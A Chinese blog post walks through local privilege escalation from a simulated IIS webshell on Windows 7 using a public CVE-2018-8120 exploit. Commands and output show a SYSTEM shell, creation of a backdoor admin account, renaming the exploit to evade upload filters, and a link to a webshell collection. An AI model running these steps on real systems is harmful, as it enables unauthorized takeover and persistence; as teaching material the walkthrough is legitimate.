专栏首页玄魂工作室Win7本地溢出exploit提权-CVE-2018-8120

Win7本地溢出exploit提权-CVE-2018-8120

saulGoodman

渗透测试/Red Teaming/CTF/代码审计

关注

Win7本地溢出exploit提权-CVE-2018-8120

前言

这边是模拟拿到了一个WebShell的后渗透提权操作

提权过程

首先是看了看一个当前用户权限:

C:\inetpub\wwwroot\bjgs_v2.1\> whoami

iis apppool\bjgs_v2.1

是一个IIS的普通权限

C:\inetpub\wwwroot\bjgs_v2.1\> net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    liuwx                    
命令运行完毕,但发生一个或多个错误。



C:\inetpub\wwwroot\bjgs_v2.1\> net user admin admin /add

发生系统错误 5。

拒绝访问。


C:\inetpub\wwwroot\bjgs_v2.1\>

创建用户:拒绝访问,那么权限还是比较低的!

先是上传个大马看看有没有可读可写的目录:

得到一个目录:

文件夹:C:\inetpub\wwwroot\bjgs_v2.1 可读,可写。

先看看当前主机的信息:

C:\inetpub\wwwroot\bjgs_v2.1\> systeminfo

主机名:           LIUWX-PC
OS 名称:          Microsoft Windows 7 旗舰版 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立工作站
OS 构件类型:      Multiprocessor Free
注册的所有人:     liuwx
注册的组织:       
产品 ID:          00426-292-0000007-85837
初始安装日期:     2019/4/16, 1:03:42
系统启动时间:     2019/10/7, 9:39:32
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 2 个处理器。
                  [01]: Intel64 Family 6 Model 158 Stepping 9 GenuineIntel ~3408 Mhz
                  [02]: Intel64 Family 6 Model 158 Stepping 9 GenuineIntel ~3408 Mhz
BIOS 版本:        Phoenix Technologies LTD 6.00, 2017/5/19
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,中国香港特别行政区,乌鲁木齐
物理内存总量:     3,103 MB
可用的物理内存:   1,834 MB
虚拟内存: 最大值: 6,205 MB
虚拟内存: 可用:   4,956 MB
虚拟内存: 使用中: 1,249 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 2 个修补程序。
                  [01]: KB2534111
                  [02]: KB976902
网卡:             安装了 1 个 NIC。
                  [01]: Intel(R) PRO/1000 MT Network Connection
                      连接名:      本地连接
                      启用 DHCP:   是
                      DHCP 服务器: 192.168.1.1
                      IP 地址
                        [01]: 192.168.1.106
                        [02]: fe80::10d5:df24:e351:af59


C:\inetpub\wwwroot\bjgs_v2.1\>

关键信息有:

操作系统是Windows 7 x64

补丁只打了两个:KB2534111、KB976902

那么我们就可以上传*.exe本地溢出提权!

这边是在Github上找到了一个提权exe: https://github.com/alpha1ab/CVE-2018-8120

CVE-2018-8120 Windows LPE exploit

测试支持: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64

原exp不支持xp,2003,当前代码在原基础上增加了对这两个系统的支持

exe上传到可读可写的目录:

先是使用exe看了看当前权限:

[*] 磁盘列表 [ C:D: ]

C:\inetpub\wwwroot\bjgs_v2.1\> whoami
iis apppool\bjgs_v2.1


C:\inetpub\wwwroot\bjgs_v2.1\> 
C:\inetpub\wwwroot\bjgs_v2.1\> CVE-2018-8120.exe "whoami"
CVE-2018-8120 exploit Change by @Topsec_Alpha_lab(https://github.com/alphalab)
[-] Could not load ntkrnlmp.exe , load ntoskrnl.exe instead.
[+] Trying to execute whoami as SYSTEM...
[+] Process created with pid 3132!
nt authority\system




C:\inetpub\wwwroot\bjgs_v2.1\>

是一个:nt authority\system系统权限!

提权命令:(创建一个hack用户并且提升为管理员组

CVE-2018-8120.exe "net user hack hack /add"

CVE-2018-8120.exe "net localgroup administrators hack /add"

C:\inetpub\wwwroot\bjgs_v2.1\> net user

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    hack                     
liuwx                    
命令运行完毕,但发生一个或多个错误。



C:\inetpub\wwwroot\bjgs_v2.1\> net user hack
用户名                 hack
全名                   
注释                   
用户的注释             
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不

上次设置密码           2019/10/7 11:04:04
密码到期               2019/11/18 11:04:04
密码可更改             2019/10/7 11:04:04
需要密码               Yes
用户可以更改密码       Yes

允许的工作站           All
登录脚本               
用户配置文件           
主目录                 
上次登录               从不

可允许的登录小时数     All

本地组成员             *Administrators       
全局组成员             *None                 
命令成功完成。

提权成功!

番外篇

二进制文件后缀可任意修改

首先我们是有一个二进制文件:CVE-2018-8120.exe

接着吧exe后缀改成txt

CVE-2018-8120.txt “whoami”

C:\inetpub\wwwroot\bjgs_v2.1\> CVE-2018-8120.txt "whoami"
CVE-2018-8120 exploit Change by @Topsec_Alpha_lab(https://github.com/alphalab)
[-] Could not load ntkrnlmp.exe , load ntoskrnl.exe instead.
[+] Trying to execute whoami as SYSTEM...
[+] Process created with pid 2700!
nt authority\system

可以看到,是可以执行的!

一般这种用于不能上传exebat文件,我们就可以吧exe文件修改为可上传的后缀文件也能照常运行!

图片格式也是可以的!

aspx比asp权限大

如果网站支持aspx脚本,那么有的时候asp的权限比较小,但是上传了aspx脚本后权限就比asp要大一些!

因为aspx使用的是.net技术。IIS 中默认不支持,ASPX需要依赖于.net framework …ASP只是脚本语言而已。ASP.NET允许用户使用IIS建立网络服务。入侵的时候…asp的木马一般是guest权限…APSX的木马一般是users权限…iis6默认以network service身份运行。iis5默认是aspnet ASP.NET,IIS的权限机制非常复杂,对每一层应用,都有不同的权限控制。总之..要求对asp.net开放相应权限,才可以让你的网站完成相应的服务。ASP.net程序的访问权限由ASPNET的权限来决定。ASPNET隶属于Users组。所以ASPX权限就要高一些…

WebSHELL集合 : https://github.com/tennc/webshell

欢迎关注玄魂工作室

------------

加下方助手的微信,回复“安全”可进玄魂工作室转发文章抽奖活动群(不参与转发,勿进),每周都书赠送

----------------

本文分享自微信公众号 - 玄魂工作室(xuanhun521)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CTF实战30 CTF题目练习和讲解五

    该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

    用户1631416
  • Python黑帽编程1.5 使用Wireshark练习网络协议分析

    1.5.0.1 本系列教程说明 本系列教程,采用的大纲母本为《Understanding Network Hacks Attack and Defense w...

    用户1631416
  • 想成为一名“专业黑客”?作为过来人给你几点建议

    Web 安全工程师作为信息安全保驾员,保护着公司网站和业务系统不受侵害,加固着公司各类安全系统,同时还要对业务产品进行安全检查。是实实在在的用黑客技术,还互联网...

    用户1631416
  • jcifs:android解析局域网主机名

    版权声明:本文为博主原创文章,转载请注明源地址。 ...

    用户1148648
  • Swagger文档添加file上传参数写法

    想在swagger ui的yaml文档里面写一个文件上传的接口,找了半天不知道怎么写,终于搜到了,如下:

    用户1141560
  • 如何在CDSW上调试失败或卡住的Spark应用

    默认情况下,CDSW会话中的Spark应用程序只显示ERROR级别的日志,当作业出现异常或卡住时无法查看作业运行详细日志及异常堆栈信息,不能根据日志的上下文正确...

    Fayson
  • 开源公益项目:区块链研习社区币手机钱包app项目流程梳理

    rectinajh
  • 开发中Git问题小结

    一般来说每个Git项目中都需要一个“.gitignore”文件,这个文件的作用就是告诉Git哪些文件不需要添加到版本管理中心。实际项目中,有很多文件都不需要版本...

    麦克劳林
  • SQL注入问题

    sql注入是一种通过在输入中注入sql语句,来达到攻击数据库的效果。今天使用Java语言,来分析一下sql注入的相关问题。

    ZackSock
  • 【SpringCloud之pigx框架学习之路 】2.部署环境

    .\redis-server.exe   ".\redis.windows.conf"

    Jackson0714

扫码关注云+社区

领取腾讯云代金券